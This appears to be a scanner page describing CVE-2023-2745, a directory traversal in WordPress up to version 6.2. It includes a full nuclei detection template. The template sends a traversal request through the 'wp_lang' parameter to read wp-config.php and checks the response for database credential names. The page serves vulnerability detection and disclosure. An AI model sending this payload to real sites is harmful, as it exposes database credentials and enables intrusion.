CVE-2023-2745· CWE-22
WordPress Core <=6.2 - Directory Traversal
mediumseverity
6.1CVSS score
79.7%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
WordPress Core is vulnerable to Directory Traversal in versions up to, and including, 6.2, via the ‘wp_lang’ parameter.
Impact
This allows unauthenticated attackers to access and load arbitrary translation files. In cases where an attacker is able to upload a crafted translation file onto the site, such as via an upload form, this could be also used to perform a Cross-Site Scripting attack.
Fix
Apply the latest security patches and updates from the vendor to address this vulnerability.
How to confirm it
Send: GET /
Positive when: contains(body, "/wp-content/plugins")
Send: GET /wp-login.php?wp_lang=../../../../../../../wp-config.php
Positive when: contains_all(body, "DB_NAME", "DB_PASSWORD") and status_code == 200Run it with nuclei: nuclei -id CVE-2023-2745 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2023-2745
info:
name: WordPress Core <=6.2 - Directory Traversal
author: nqdung2002
severity: medium
description: |
WordPress Core is vulnerable to Directory Traversal in versions up to, and including, 6.2, via the ‘wp_lang’ parameter.
remediation: |
Apply the latest security patches and updates from the vendor to address this vulnerability.
impact: |
This allows unauthenticated attackers to access and load arbitrary translation files. In cases where an attacker is able to upload a crafted translation file onto the site, such as via an upload form, this could be also used to perform a Cross-Site Scripting attack.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-2745
- https://www.cvedetails.com/cve/CVE-2023-2745/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-2745
cwe-id: CWE-22
epss-score: 0.79657
epss-percentile: 0.99609
metadata:
max-request: 2
framework: wordpress
tags: cve,cve2023,wpscan,disclosure,wp,wordpress,lfi,vuln,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "/wp-content/plugins")'
internal: true
- raw:
- |
GET /wp-login.php?wp_lang=../../../../../../../wp-config.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "DB_NAME", "DB_PASSWORD")'
- 'status_code == 200'
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from